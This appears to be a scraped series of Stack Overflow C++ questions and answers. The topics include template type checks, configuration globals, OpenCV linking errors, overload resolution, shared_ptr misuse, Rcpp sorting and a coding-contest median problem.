When I use typeid() to judge a type, different type will compile error. This code can't compile successfully because the judge of typeid() is RTTI. How shall I modify this code? error: no matching function for call to 'std::vector<int>::push_back(std::basic_string<char>)' template <typename T> void SplitOneOrMore(const std::string& str, std::vector<T>* res, const std::string& delimiters) { T value; std::string::size_type next_begin_pos = str.find_first_not_of(delimiters, 0); std::string::size_type next_end_pos = str.find_first_of(delimiters, next_begin_pos); while (std::string::npos != next_end_pos || std::string::npos != next_begin_pos) { if (typeid(std::string) == typeid(T)) { res->push_back(str.substr(next_begin_pos, next_end_pos - next_begin_pos)); // when T is int, this line will compile error. } else { std::istringstream is(str.substr(next_begin_pos, next_end_pos - next_begin_pos)); is >> value; res->push_back(value); } next_begin_pos = str.find_first_not_of(delimiters, next_end_pos); next_end_pos = str.find_first_of(delimiters, next_begin_pos); } } TEST(SplitFixture, SplitOneOrMoreIntTest) { std::vector<int> ans; SplitOneOrMore<int>("127.0.0.1", &ans, "."); EXPECT_EQ(ans.size(), 4); EXPECT_EQ(ans[0], 127); EXPECT_EQ(ans[1], 0); EXPECT_EQ(ans[2], 0); EXPECT_EQ(ans[3], 1); }
Compiler will compile both branches no matter the condition, the C++17 solution is constexpr if There is no reason to use typeid machinery for this, std::is_same_v from <type_traits> will do its job just fine: if constexpr (std::is_same_v<std::string, T>) { res->push_back(str.substr(next_begin_pos, next_end_pos - next_begin_pos)); } else { std::istringstream is( str.substr(next_begin_pos, next_end_pos - next_begin_pos)); is >> value; res->push_back(value); }
73,219,445
73,219,692
Are there any tricks I can use to initialize global constants with a separate function call?
I have a lot of global settings defining the behavior of my program. I found it convenient to declare these settings as extern constants in a separate namespace like this: // settings.hpp namespace settings { extern const int waitEventTimeoutSeconds; // ... } // settings.cpp #include "settings.hpp" const int settings::waitEventTimeoutSeconds = 3; // ... // some.cpp #include "settings.hpp" bool waitForEvent(args...) { const int timeout = settings::waitEventTimeoutSeconds; // Do stuff } It works fine, but in order to change some settings the user needs to edit settings.cpp file and recompile the stuff, which is not very convenient. I want some parseConfig() function that would be able to read a user provided config file once at startup and set global constants according to the content of that file: void parseConfig(userConfigPath) { settings::eventWaitTimeoutSettings = ...; // But it is const and global } Are there any tricks to achieve this? Of course, I can just use some Config class for storing the settings, but this is why I don't like this approach: Config userConfig(path); bool bar(args..., timeout); bool foo(args..., timeout) { // Do stuff return bar(args..., timeout); } bool bar(args..., timeout) { // Do stuff return waitForEvent(args..., timeout) } bool waitForEvent(args..., timeout) { int waitFor = timeout; // Do stuff } int main() { foo(args..., userConfig.waitEventTimeoutSeconds); } If using config object, a reference to this object or its members should be passed everywhere, which makes code more clunky. In the above example, when you look at foo() call in main() it is unclear why does this function need this weird userConfig.waitEventTimeoutSeconds parameter? Neither foo() nor bar() uses this parameter directly, so passing it just for further passing to a deeply nested function does not look like an elegant solution. This is why I prefer the global constants approach. But can I somehow initialize all my global constants in a separate function?
Do not use global variables. They make stuff confusing, like the problems you are having. Make it all local. Write getters and if needed setters. Force the user to call a function to get the configuration, where you do the stuff you want. // settings.hpp struct TheSettings { int waitEventTimeoutSeconds; }; const TheSettings& settings(); // settings.cpp const TheSettings& settings() { static TheSettings cachesettings; static bool cacheready = false; if (!cacheready) { // open file // construct settings cachesettings.waitEventTimeoutSeconds = read_from_file; cacheready = true; } return cachesettings; } // main.cpp int main() { // instead of `::` type `().` std::cout << settings().waitEventTimeoutSeconds; } You might be interested in reseraching C++ Singleton design pattern and Static Initialization Order Fiasco .
73,219,741
73,221,070
Compiling opencv program cause gcc -I/usr/local/lib test.cpp test.cpp:1:10: fatal error: opencv2/core.hpp: No such file or directory
There is a error when compiling opencv program program simple includes #include <opencv2/core.hpp> I compiled it with this command g++ test.cpp -o app `pkg-config --cflags --libs opencv` compiling opencv in c++ This is full error gcc -I/usr/local/lib test.cpp test.cpp:1:10: fatal error: opencv2/core.hpp: No such file or directory 1 | #include <opencv2/core.hpp> I compiled and install the opencv by looking at this page https://docs.opencv.org/2.4/doc/tutorials/introduction/linux_install/linux_install.html#building-opencv-from-source-using-cmake-using-the-command-line The code is from https://docs.opencv.org/4.x/d3/d50/group__imgproc__colormap.html Also my opencv so files are located at /usr/local/lib Error also says Perhaps you should add the directory containing `opencv.pc' to the PKG_CONFIG_PATH environment variable but I searched /usr directory there is no opencv.pc file Update Compiling program after updating my compile command This error throws $g++ -I/usr/local/include/opencv4/ test.cpp /usr/bin/ld: /tmp/ccuJvWgF.o: in function `main': test.cpp:(.text+0xb4): undefined reference to `cv::imread(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, int)' /usr/bin/ld: test.cpp:(.text+0xde): undefined reference to `cv::Mat::empty() const' /usr/bin/ld: test.cpp:(.text+0x154): undefined reference to `cv::Mat::Mat()' /usr/bin/ld: test.cpp:(.text+0x1a1): undefined reference to `cv::applyColorMap(cv::_InputArray const&, cv::_OutputArray const&, int)' /usr/bin/ld: test.cpp:(.text+0x21d): undefined reference to `cv::imshow(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, cv::_InputArray const&)' /usr/bin/ld: test.cpp:(.text+0x254): undefined reference to `cv::waitKey(int)' /usr/bin/ld: test.cpp:(.text+0x265): undefined reference to `cv::Mat::~Mat()' /usr/bin/ld: test.cpp:(.text+0x274): undefined reference to `cv::Mat::~Mat()' /usr/bin/ld: test.cpp:(.text+0x33d): undefined reference to `cv::Mat::~Mat()' /usr/bin/ld: test.cpp:(.text+0x355): undefined reference to `cv::Mat::~Mat()' collect2: error: ld returned 1 exit status $ Update 2 when now compiling g++ -L/usr/local/lib/libopencv_core.so -I/usr/local/include/opencv4/ test.cpp it throws this error. There are many opencv so files in /usr/local/lib do I need to include specific opencv so files to compile the code in the link in function `main': test.cpp:(.text+0xb4): undefined reference to `cv::imread(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, int)' /usr/bin/ld: test.cpp:(.text+0xde): undefined reference to `cv::Mat::empty() const' /usr/bin/ld: test.cpp:(.text+0x154): undefined reference to `cv::Mat::Mat()' /usr/bin/ld: test.cpp:(.text+0x1a1): undefined reference to `cv::applyColorMap(cv::_InputArray const&, cv::_OutputArray const&, int)' /usr/bin/ld: test.cpp:(.text+0x21d): undefined reference to `cv::imshow(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, cv::_InputArray const&)' /usr/bin/ld: test.cpp:(.text+0x254): undefined reference to `cv::waitKey(int)' /usr/bin/ld: test.cpp:(.text+0x265): undefined reference to `cv::Mat::~Mat()' /usr/bin/ld: test.cpp:(.text+0x274): undefined reference to `cv::Mat::~Mat()' /usr/bin/ld: test.cpp:(.text+0x33d): undefined reference to `cv::Mat::~Mat()' /usr/bin/ld: test.cpp:(.text+0x355): undefined reference to `cv::Mat::~Mat()' collect2: error: ld returned 1 exit sta
With the -L option you should specify the library search path. Then with -l options you specify the library names you'd like to link against. So in your case I'd expect to see -L/usr/local/lib -lopencv_core. Note that the -l name has the lib prefix and file extension omitted. (You may need more OpenCV libraries.) Seeing your struggles, I think it would be good to read a general tutorial about compiling and linking C/C++ programs (on your platform).
73,220,562
73,220,632
nlopt: Passed data structure gives me damaged values
I need to pass structure to the function Constraint::AddFixedOrientationAxis, however when I check the passed data their values are completely wrong. I have tried to use different datatypes but without any luck. typedef struct{ size_t idx; size_t axis_idx; double axis_vector_1; double axis_vector_2; double axis_vector_3; }AddFixedOrientationAxisData; double Constraint::AddFixedOrientationAxis(const std::vector<double> &x, std::vector<double> &grad, void *data) { Eigen::VectorXd fixed_rot(3); AddFixedOrientationAxisData *d = reinterpret_cast<AddFixedOrientationAxisData*>(data); auto idx = d->idx; auto axis_idx = d->axis_idx; // 0->x, 1->y, 2->z fixed_rot << d->axis_vector_1, d->axis_vector_2, d->axis_vector_3; std::cout << "idx: " << idx << std::endl; std::cout << "axis: " << axis_idx << std::endl; std::cout << "fixed_rot: " << fixed_rot << std::endl; } In the main, I call use it the same way as the tutorial is: AddFixedOrientationAxisData fixed_orient_constraint_data; fixed_orient_constraint_data.idx = 0; fixed_orient_constraint_data.axis_idx = 0; fixed_orient_constraint_data.axis_vector_1 = FK_q(0,0); fixed_orient_constraint_data.axis_vector_2 = FK_q(1,0); fixed_orient_constraint_data.axis_vector_3 = FK_q(2,0); opt.add_equality_constraint(Constraint::AddFixedOrientationAxis, &fixed_orient_constraint_data); The terminal output is: idx: 93901286131024 axis: 93901286131080 fixed_rot: 4.63934e-310 -0.54938 //interestingly, this is the correct value 0.00838157 //interestingly, this is the correct value
As @{Some programmer dude} told me in the comments, the problem was that the variable was not alive when the function was called.
73,220,610
73,261,547
Template specializations in friend declarations post C++20
Context: To our surprise, MSVC with C++20 mode and two-phase compliance enabled accepts the following code: template<class T> class X { friend int foo<X>(X x); int a = 10; }; template <class T> int foo(T t) { return t.a; } int main() { return foo(X<float>{}); } This compiles/links and returns 10 in MSVC and gcc (but clang barks): https://godbolt.org/z/98cd7v7a6. Those who know about two-phase lookup will find that this looks pretty crazy - we can somehow befriend a template specialization before the corresponding template is even declared. Looks and sounds very wrong. And indeed, for earlier C++ versions, all compilers would immediately reject it: https://godbolt.org/z/M1733EPd5 But it appears that the following wording in C++20 paves the way for this (or at least makes it not outright ill-formed from the start): https://timsong-cpp.github.io/cppwp/n4861/temp.names#2.sentence-4 (emphasis mine) A name is also considered to refer to a template if it is an unqualified-id followed by a < and name lookup either finds one or more functions or finds nothing. Now, this leads to a whole host of... well, absurd corner cases. Note that outside of friend declarations you'd have to begin a template specialization with template<>, but that is not the case in friend declarations. Predictably, compilers cannot even remotely agree on what is now legal and what is not: Befriend... godbolt MSVC gcc clang ...declaration of specialization of non-existent function template inside a class, call it https://godbolt.org/z/9bczs6nde βœ“ βœ— βœ— ...declaration of specialization of non-existent function template inside an uninstantiated class template https://godbolt.org/z/461h774sz βœ“ βœ“ βœ— ...declaration of specialization of non-existent function template inside a class template, call it (note https://timsong-cpp.github.io/cppwp/n4868/temp.inject) https://godbolt.org/z/fK6s9aj5G βœ“ βœ— βœ— ...declaration of specialization of non-existent function template specialization in class, provide function template definition, call it https://godbolt.org/z/Mevr4EWzG βœ“ βœ— βœ— ...declaration of specialization of non-existent function template specialization in class template, provide function template definition, call it https://godbolt.org/z/d9s9hWsa7 βœ“ βœ“ βœ— ...definition of specialization of previously declared function template inside a class, call it https://godbolt.org/z/ebrhvGrM4 ICE βœ— βœ“ ...definition of specialization of previously declared function template inside a class template, call it https://godbolt.org/z/bsjKxWYco βœ— βœ— βœ“ ...definition (!) of specialization of non-existent (!!) function template inside a class template and call it afterwards (!!!) https://godbolt.org/z/PnP6oKrrM βœ“ βœ— βœ— In short, wtf. Question: Does the C++20 standard currently have a clear and consistent stance on these points: Is it legal for friend declarations to refer to a not-previously-declared function template? Does this depend on whether we are inside a template/involve dependent types? Is it ever (or always?) legal to define a specialization of a function template via a friend declaration? (See again https://godbolt.org/z/bTaYraP6j, https://godbolt.org/z/Y7qf6PPxY - some compilers state it's illegal but then also randomly accept it)
It’s true that there are no parsing difficulties here: C++20 does give the right meaning to the <, and template argument lists are parsed independently of the template declaration (which is how function template overloading and ADL can work). Next, C++20 as published doesn’t say much in general about the process of declaration matching, leaving a number of questions open about which declarations refer to the same entity (validly or no). As such, it doesn’t really address the friend-before-declaration case, although its [namespace.memdef]/3 says If the name in a friend declaration is neither qualified nor a template-id and the declaration is a function or an elaborated-type-specifier, the lookup to determine whether the entity has been previously declared shall not consider any scopes outside the innermost enclosing namespace. which implies that there is some sort of lookup performed, including in the template-id case, that could fail. I say β€œas published” in the above because many of the fixes in the already-mentioned P1787R6 were considered to be Defect Reports (read: retroactive). I don’t recall an issue on specifically this subject, but the changes in that paper to [decl.meaning] to specify the special lookup process for declared names might best be considered retroactive as well. As for defining a specialization, the only thing that any recent standard version says is in [temp.expl.spec]/1: An explicit specialization […] can be declared by a declaration introduced by template<>; […] This is unfortunately vague, but it’s not unreasonable to take as an implication that there is no other means of defining an explicit specialization, including via a friend declaration. Certainly that’s the intent: specializations aren’t found by name lookup, so there’s no point in making them hidden friends.
73,220,783
73,237,670
Sorting 'Alphabetically' (Alien Dictionary Code Problem)
I've started tackling coding problems to try and improve my skills. I'm working on the 'Alien Dictionary' coding problem which, when given a sorted list of 'Alien Words' you need to determine the 'Alien Alphabet'. The alien alphabet is made up of Latin characters but in a different order than ours. I've since learned there are more optimised ways of solving this which I will look into, but I want to see my instinctual approach through to completion. My code does compile with c++20 and outputs the correct alphabet, however, I had to implement a 'hack' to cover an edge case which I explain in a code comment. I can't quite wrap my head around why I needed the hack, or how to fix my code to not require it. #include <iostream> // std::cout #include <map> // std::map #include <vector> // std::vector #include <algorithm> // std::sort /* Input: words[] = ["pbb", "bpku", "bpkb", "kbp", "kbu"]; Expected Output: ['p', 'u', 'b', 'k']; */ typedef std::vector<std::string> WordList; WordList alienWords = {"pbb", "bpku", "bpkb", "kbp", "kbu"}; typedef std::map<std::pair<char, char>, char> RuleBook; RuleBook alienRuleBook; typedef std::vector<char> Alphabet; Alphabet alienAlphabet; void populateAlphabet(Alphabet& alphabet, WordList& wordList) { alphabet.clear(); for (int word = 0; word < wordList.size(); word++) { for (int letter = 0; letter < wordList[word].size(); letter++) { if(std::find(alphabet.begin(), alphabet.end(), wordList[word][letter]) == alphabet.end()) { alphabet.push_back(wordList[word][letter]); } } } } void generateRules(RuleBook& ruleBook, WordList& wordList){ for (int firstWord = 0; firstWord < wordList.size(); firstWord++) { for (int secondWord = firstWord + 1; secondWord < wordList.size(); secondWord++) { if (secondWord == wordList.size()) break; int letter = 0; for (; letter < wordList[firstWord].size(); letter++) { if (wordList[firstWord][letter] == wordList[secondWord][letter]) continue; ruleBook[{wordList[firstWord][letter], wordList[secondWord][letter]}] = '<'; ruleBook[{wordList[secondWord][letter], wordList[firstWord][letter]}] = '>'; break; } } } } // needs to return TRUE if 'l' should come before 'r'. bool getRule(char l, char r) { switch(alienRuleBook[{l, r}]) { case '>': return false; case '<': return true; } std::cout << "ERROR! No rule found for: '" << l << "' vs '" << r << "'\n\n"; // The below is a hack because I don't understand to fix the case of {'u', 'k'} // There's no 'discovered' rule saying 'u' comes before 'k' or 'k' comes after 'u' // even though we KNOW 'u' comes before 'b' and we know that 'b' comes before 'k'. return true; } void printAlphabet(Alphabet& alphabet){ std::cout << "=== Alphabet ===" << "\n "; for(const auto it : alphabet) std::cout << it << " "; std::cout << "\n================\n\n"; } void printRuleBook(RuleBook& ruleBook){ std::cout << "=== Discovered Rules ===" << "\n"; for(const auto it : ruleBook) std::cout << " " << it.first.first << " " << it.second << " " << it.first.second << '\n'; std::cout << "================\n\n"; } int main() { populateAlphabet(alienAlphabet, alienWords); generateRules(alienRuleBook, alienWords); std::sort(alienAlphabet.begin(), alienAlphabet.end(), getRule); printRuleBook(alienRuleBook); printAlphabet(alienAlphabet); return 0; }
In order to implement the getRule function if there is no implicit rule for {a, b}, you should search for {a, x} = '>' where {x, b} = '>' or {a, x} = '<' where {x, b} = '<' // in case if a > b, you search for "a > x and x > b". // In other words, if a is greater than x and x is greater than b, // then a is greater than b. a ... x ... b // the similar is for case when a < b b ... x ... a In case if you cannot find {a, x} and {x, b}, you should search for {a, x} + {x, y} + {y, b}. The search depth can increase. I'm not sure that is good solution. I would suggest to look at the problem as a directed graph: First walk through the ordered list of words and make a graph: p->b->k and p->u->b and (duplicated) p->u Then find the node that has no incoming connections (e.g. p). That will be the first char of the alphabet Then iterate its outgoing connections and find the node, that has no incoming connections except p. That will give you the second char (u). Then iterate over all connections of the second char u and find the node that has no other incoming connections except p and u. That will give you b And so on, and so on
73,221,640
73,221,712
why does 0 convert from int to string?
I am baffled by this error: #include <string> #include <iostream> void f(int, std::string) {std::cout << "f1\n";} template <class T> void f(std::string, T&&) {std::cout << "f2\n";} void f(int) {std::cout << "f3\n";} void f(std::string) {std::cout << "f4\n";} int main() { // f(0, "as"); // call of overloaded 'f(int, const char [3])' is ambiguous f(1, "as"); f(0); } The first line does not compile and I can't figure out why. The second line does compile, even though it is the same types. The third line does compile, even though it is the same conversion. Huh?
The third line does compile, even though it is the same conversion. Yes, but it's not the only conversion. A string literal like "as" is not of type std::string, and requires a converting constructor. So it's a user defined conversion. The rank of the overload is the worst rank for any conversion of any argument. Same way 0 to std::string is user defined, because 0 is a null pointer constant. That means both overloads have the same implicit conversion sequence rank, without a tie breaker. Integers in general are not convertible to std::string; only null pointer constants are convertible (because they can initialise a pointer, which std::string's constructors may accept) . So for the case of 1, the second overload is not a candidate. As a side note, passing a null pointer to std::string's constructor is undefined, so even if that resolution "succeeds", it's bad code. Your last two overloads don't have the same implicit conversion rank. One is the identity conversion, while the other is user defined. The identity wins.
73,222,122
73,222,297
C++ Metaprogramming sum of two types
I have a class like this template <typename T> class Matrix { typedef T value_type ... }; I would like to write a function that needs to deal with different Matrix<T> types but also with arithmetic types (that is why I cannot use Matrix<T1> and Matrix<T2> as template arguments). Inside the function I need a Matrix that has the correct type, if I pass Matrix<T3> and Matrix<T4> for a and b then the type of the Matrix C should be whatever T3 + T4 returns (T3 and T4 are arithmetic types). template <typename T1, typename T2> auto add(T1&& a, T2&& b); Matrix<decltype(a(0,0) + b(0,0))> C{}; // This works, but I am sure there is a nicer solution I found one way to do it but I am sure that it is possible to work directly with the types. I tried something like Matrix<decltype(remove_cvref_t<T1>::value_type + remove_cvref_t<T2>::value_type) C; The idea is to strip off any possible references and access the type of the Matrix via ::value_type. I also tried to sprinkle in some typenames but without success.
No, it's not possible to work directly with the types, but you can use std::declval - a function which returns whatever type you want - to "convert" a type to a value: template <typename T1, typename T2> auto add(T1&& a, T2&& b) { Matrix<decltype( std::declval<remove_cvref_t<T1>::value_type>() + std::declval<remove_cvref_t<T2>::value_type>() )> C; ... } It's still ugly. If all your matrices have the (0,0) operator then you might find that less ugly, and there's nothing wrong with using it; if you absolutely do need value_type as opposed to whatever (0,0) returns, then you can use std::declval. std::declval can't be called for real - its only purpose is to be used in expressions that don't actually get evaluated, like inside decltype or noexcept.
73,222,195
73,256,041
How to abort when the number of rows in the file is less than the number of rows read in the target in C++?
Now I have a txt file like this: 5 1 2 3 1 2 3 1 2 3 1 2 3 1 2 3 5 1 2 3 1 2 3 1 2 3 1 2 3 1 2 3 ... One loop of this file is 7 lines, and the second line of the 7 lines is a blank line. My file has a total of 5 loops , but when my code is set to read 10 loops, the code will not report an error, how should I modify the code to report an error at the end of the file, pay attention to my text file a blank line appears. #include<fstream> #include<string> int main() { std::ifstream get_in("tst.txt", std::ios :: in ); for ( int loop=0;loop<10;loop++ ) { std::string line; for ( int i=0;i<7;i++ ) { getline(get_in, line); } } return 0; } This is a simplified example of my code, I want it to error out when the text is not enough for the number of rows I want to read, instead of running normally.
Check the input stream's eof bit, which can be done by directly accessing it get_in.eofbit or by using the eof() function, get_in.eof(). I would recommend using the eof() function. I am not sure what you are doing with your code, but here is a simple to understand modification of your code as a demonstration: #include <fstream> #include <string> #include <iostream> int main() { std::ifstream get_in("tst.txt", std::ios :: in ); std::string line; for ( int loop=0;loop<10;loop++ ) { if(get_in.eof()) { std::cout << "EOF"; break; } for ( int i=0;i<7;i++ ) { std::getline(get_in, line); if(get_in.eof()) break; std::cout << line << std::endl; } } return 0; }
73,222,485
73,256,935
Using R (and Rcpp), how to pass a default 'std::vector<int>' array into a function
I have a function to SORT: // https://gallery.rcpp.org/articles/sorting/ // https://www.geeksforgeeks.org/sorting-a-vector-in-c/ #include <Rcpp.h> using namespace Rcpp; // [[Rcpp::export]] NumericVector cpp_sort_numeric_works(NumericVector arr, std::string dir = "ASC" ) { NumericVector _arr = clone(arr); if(dir != "ASC") { std::sort(_arr.begin(), _arr.end(), std::greater<int>()); } else { std::sort(_arr.begin(), _arr.end()); } return _arr; } /* NumericVector _partial_sort(NumericVector arr, int p, std::string dir = "ASC") { NumericVector _arr = clone(arr); if(dir != "ASC") { std::nth_element(_arr.begin(), _arr.begin()+p-1, _arr.end(), std::greater<int>()); } else { std::nth_element(_arr.begin(), _arr.begin()+p-1, _arr.end()); } return _arr; } // [[Rcpp::export]] NumericVector cpp_sort_numeric(NumericVector arr, std::string dir = "ASC", const std::vector<int>& partial={-1} ) { NumericVector _arr = clone(arr); if(partial[0] == -1) // only positive values allowed ... { if(dir != "ASC") { std::sort(_arr.begin(), _arr.end(), std::greater<int>()); } else { std::sort(_arr.begin(), _arr.end()); } } else { for (auto& p : partial) { _arr = _partial_sort(_arr, p, dir); } } return _arr; } */ If partial = {-1}, I will treat this like NULL in the base R setup. // [[Rcpp::export]] NumericVector cpp_sort_numeric(NumericVector arr, std::string dir = "ASC", const std::vector<int>& partial={-1} ) The function worked fine before adding the partial logic. I could be misunderstanding what the partial is doing. This demo https://gallery.rcpp.org/articles/sorting/ suggests that partial is a scalar, but I believe it is a positive INTEGER array / vector. So I am trying to apply it correctly. I am getting an Rcpp warning Warning: No function found for Rcpp::export attribute at sort.cpp pointing to the line PRIOR to NumericVector cpp_sort_numeric(NumericVector arr, std::string dir = "ASC", const std::vector<int>& partial={-1} ) Update The goal was to implement something that is backward-compatible with the R sort function. The article [https://gallery.rcpp.org/articles/sorting/] made the inference that it was possible, but did not implement a multivariate partial object. @dirk-eddelbuettel solution is syntax-correct, but it is not returning the same values as R-base # FROM ?sort HELP require(stats); x <- swiss$Education[1:25] x; sort(x); (y = sort(x, partial = c(10, 15)) ) w = c(10,15); (z = cpp_sort_numeric(x, w)) identical(y,z);
Here is a version that at least compiles and runs. I am not quite sure what you want with partial -- but what you had is simply outside the (documented, but we already know you do not have time for the documentation we provide) interface contract so of course it didn't build. Code // https://gallery.rcpp.org/articles/sorting/ // https://www.geeksforgeeks.org/sorting-a-vector-in-c/ #include <Rcpp.h> using namespace Rcpp; // [[Rcpp::export]] NumericVector cpp_sort_numeric_works(NumericVector arr, std::string dir = "ASC" ) { NumericVector _arr = clone(arr); if(dir != "ASC") { std::sort(_arr.begin(), _arr.end(), std::greater<int>()); } else { std::sort(_arr.begin(), _arr.end()); } return _arr; } NumericVector _partial_sort(NumericVector arr, int p, std::string dir = "ASC") { NumericVector _arr = clone(arr); if(dir != "ASC") { std::nth_element(_arr.begin(), _arr.begin()+p-1, _arr.end(), std::greater<int>()); } else { std::nth_element(_arr.begin(), _arr.begin()+p-1, _arr.end()); } return _arr; } // [[Rcpp::export]] NumericVector cpp_sort_numeric(NumericVector arr, NumericVector partial, std::string dir = "ASC") { NumericVector _arr = clone(arr); if (partial[0] == -1) { // only positive values allowed ... if(dir != "ASC") { std::sort(_arr.begin(), _arr.end(), std::greater<int>()); } else { std::sort(_arr.begin(), _arr.end()); } } else { for (auto& p : partial) { _arr = _partial_sort(_arr, p, dir); } } return _arr; } /*** R v <- c(1,2,3,2,1,0,-1,2) cpp_sort_numeric_works(v) cpp_sort_numeric_works(v, "DESC") w <- v w[1] <- -1 cpp_sort_numeric(v, w) cpp_sort_numeric(v, w, "DESC") */ Output > Rcpp::sourceCpp("~/git/stackoverflow/73222485/answer.cpp") > v <- c(1,2,3,2,1,0,-1,2) > cpp_sort_numeric_works(v) [1] -1 0 1 1 2 2 2 3 > cpp_sort_numeric_works(v, "DESC") [1] 3 2 2 2 1 1 0 -1 > w <- v > w[1] <- -1 > cpp_sort_numeric(v, w) [1] -1 0 1 1 2 2 2 3 > cpp_sort_numeric(v, w, "DESC") [1] 3 2 2 2 1 1 0 -1 >
73,224,589
73,224,654
Pointing from a shared_ptr to a list yields memory error
I'm trying to have a list of shared_ptr's to int. When I try to point to one of the elements on the list, if I have a shared_ptr to the object that will point to the element it fails. #include <iostream> #include <list> using namespace std; class A { public: A(){}; shared_ptr<int> p; }; int main() { list<shared_ptr<int>> l; l.push_back(make_shared<int>(1)); cout << "counts to shared pointer: " << l.back().use_count() << endl; /* This works */ A a1; a1.p = l.back(); cout << "counts: " << l.back().use_count() << endl; /* This does not work */ shared_ptr<A> a2; a2->p = l.back(); cout << "counts: " << l.back().use_count() << endl; } Output: counts: 1 counts: 2 fish: Job 1, './l' terminated by signal SIGSEGV (Address boundary error)
/* This does not work */ shared_ptr<A> a2; a2->p = l.back(); and it's not supposed to work. a2 is a shared pointer that does not own anything. Yet, you try to dereference it with the -> operator. The A object you think a2 owns doesn't exist! You need to make one, e.g., like you did with your int using make_shared().
73,225,173
73,225,220
What effect does `static` have on a method in a namespace?
Does static mean anything on func2 in the context of a namespace? Both methods appear to be equivalent. // MyHeader.h namespace TestNameSpace { int func1() { return 1; } static int func2() { return 2; } } // SomeFile.cpp #include "MyHeader.h" // ... int test1 = TestNameSpace::func1(); // 1 int test2 = TestNameSpace::func2(); // 2
static functions (which are not member of classes) are only visible in the compilation unit they are defined in. Apart from that there should not be any difference between those two
73,225,396
73,225,498
Get iterator to beginning of function-generated range within for loop
I am trying to get an iterator to the beginning of a for loop, in which the range is generated by a function: std::vector<int> buildList() {...} int main() { for (const auto& i : buildList()) { const auto& id{ &i - RANGE_BEGIN}; } } Is there a way to point to the beginning of the range without declaring the vector outside of the for loop?
Is there a way to point to the beginning of the range without declaring the vector outside of the for loop? No, there is not. You must save it to a local variable in order to refer to it inside the loop body, eg: int main() { auto theList = buildList(); for (const auto& i : theList) { const auto& id{ &i - &theList[0] }; ... } } But, since this code is simply calculating id to be an index into the vector, you may as well just use a separate local variable to track the index while iterating the vector with a range-for loop, eg: int main() { size_t id = 0; for (const auto& i : buildList()) { // use id as needed... ++id; } } Otherwise, just use a traditional index-based for loop instead of a range-for loop, eg: int main() { auto theList = buildList(); for (size_t id = 0; id < theList.size(); ++id) { const auto& i = theList[id]; ... } }
73,225,484
73,226,137
regex to parse json content as a string in c++
My application receives a JSON response from a server and sometimes the JSON response has format issues. so I would like to parse this JSON response as a string. Below is the sample JSON response I'm dealing with. [{ "Id": "0000001", "fName": "ABCD", "lName": "ZY", "salary": 1000 }, { "Id": "0000002", "fName": "EFGH", "lName": "XW", "salary": 1010 }, { "Id": "0000003", "fName": "IJKL", "lName": "VU", "salary": 1020 }] I want to get the content between the braces into multiple vectors. so that I can easily iterate and parse the data. I tried using str.substr(first, last - first) , but this will return only one string where I need all possible matches. And I tried using regex as below and it is throwing below exception. Please help me! (regex_error(error_badrepeat): One of *?+{ was not preceded by a valid regular expression) std::regex _regex("{", "}"); std::smatch match; while (std::regex_search(GetScanReportURL_Res, match, _regex)) { std::cout << match.str(0); }
I'm not quite sure how your code is even compiling (I think it must be trying to treat the "{" and "}" as iterators), but your regex is pretty clearly broken. I'd use something like this: #include <string> #include <regex> #include <iostream> std::string input = R"([{ "Id": "0000001", "fName": "ABCD", "lName": "ZY", "salary": 1000 }, { "Id": "0000002", "fName": "EFGH", "lName": "XW", "salary": 1010 }, { "Id": "0000003", "fName": "IJKL", "lName": "VU", "salary": 1020 }])"; int main() { std::regex r("\\{[^}]*\\}"); std::smatch result; while (std::regex_search(input, result, r)) { std::cout << result.str() << "\n\n-----\n\n"; input = result.suffix(); } } I'd add, however, the proviso that just about any regex-based attempt at this is basically broken. If one of the strings contains a }, this will treat that as the end of the JSON object, whereas it should basically ignore it, only looking for a } that's outside any string. But perhaps your data is sufficiently restricted that it can at least sort of work anyway.
73,225,551
73,225,757
Image labeler google kickstart
problem : Crowdsource is organizing a campaign for Image Labeler task with participants across N regions. The number of participants from each of these regions are represented by A1,A2,…,AN. In the Image Labeler task, there are M categories. Crowdsource assigns participants to these categories in such a way that all participants from a region are assigned to the same category, and each category has at least one region assigned to it. The success metric of the campaign is measured by the sum of medians of the number of participants in each category. (Let us remind you here that the median of a list of integers is the "middle" number when those numbers are sorted from smallest to largest. When the number of integers in a list is even, we have two "middle" numbers, therefore the median is defined as the arithmetic mean (average) of the two middle values.) Your task is to find the maximum possible value of the success metric that can be obtained by assigning participants in regions to the categories.*** #include <bits/stdc++.h> using namespace std; #ifdef tabr #include "library/debug.cpp" #else #define debug(...) #endif int main() { ios::sync_with_stdio(false); cin.tie(0); int tt; cin >> tt; for (int qq = 1; qq <= tt; qq++) { cout << "Case #" << qq << ": "; int n, m; cin >> n >> m; vector<int> a(n); for (int i = 0; i < n; i++) { cin >> a[i]; } sort(a.begin(), a.end()); double ans = 0; for (int i = 0; i < m - 1; i++) { ans += a[n - 1 - i]; } ans += (a[(n - m + 1) / 2] + a[(n - m) / 2]) / 2.0; cout << fixed << setprecision(12); cout << ans << '\n'; } return 0; } I have so many questions, but thanks in advance for helping me out when i am good enough i will try to answer others like you help me tysm in advance!! :D Question 1 what do these stuff mean? #ifdef tabr #include "library/debug.cpp" #else #define debug(...) #endif Question 2 for (int i = 0; i < m - 1; i++) { ans += a[n - 1 - i]; } ans += (a[(n - m + 1) / 2] + a[(n - m) / 2]) / 2.0; cout << fixed << setprecision(12); cout << ans << '\n'; } can someone explain exactly what this block of code does an explanation like this like : int i= 0; cout << i; will be explained like: an integer named i which equals 0 will be printed. because i have no idea what this code does other name the fixed setprecision part and even though i understand it i have no idea why it is in the code like what is its benefit Question 3 why was using vector necessary here? and if it is possible can someone give me a resource that explains vectors in a simple way since i still don't understand it well . tysm in advance and if my format of writing a question isn't good please give me advice on how to make it better thank you again :D
